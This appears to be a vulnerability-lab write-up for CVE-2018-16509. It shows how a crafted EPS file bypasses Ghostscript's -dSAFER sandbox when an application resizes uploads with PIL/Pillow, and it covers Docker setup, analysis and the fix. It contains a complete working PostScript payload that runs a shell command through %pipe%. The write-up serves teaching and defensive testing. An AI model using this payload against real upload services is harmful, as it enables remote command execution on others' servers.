Python PIL/Pillow Remote Command Execution (CVE-2018-16509)¶
PIL/Pillow is a widely used image processing library in Python.
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
References:
- Ghostscript: -dSAFER bypass (CVE-2018-16509)
- PIL/Pillow EPS Image Processing
- Ghostscript Sandbox Bypass Analysis
Environment Setup¶
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
docker compose up -d
After the environment is started, visit http://your-ip:8000
to see a simple image upload page.
Vulnerability Reproduction¶
Prepare a malicious EPS file (provided as rce.jpg
in this environment) with the following content:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
Visit http://your-ip:8000
and upload this file.
After uploading, the server will process this image using PIL/Pillow, and when the resize
function is called, it will trigger the vulnerability and execute the touch /tmp/got_rce
command.
Execute the following command to verify if the vulnerability has been successfully exploited:
docker compose exec web ls -la /tmp/
If you see the /tmp/got_rce
file, it means the command execution was successful.
Vulnerability Analysis¶
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In EPSImagePlugin.py
, PIL uses subprocess
to call Ghostscript:
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
Although the -dSAFER
parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
In the sample application, when an image is uploaded, it is processed as follows:
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
Simply calling Image.open()
will not trigger the vulnerability, but when methods that actually need to load image data, such as resize()
or save()
, are called, they will trigger the Ghostscript call and execute malicious commands.
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.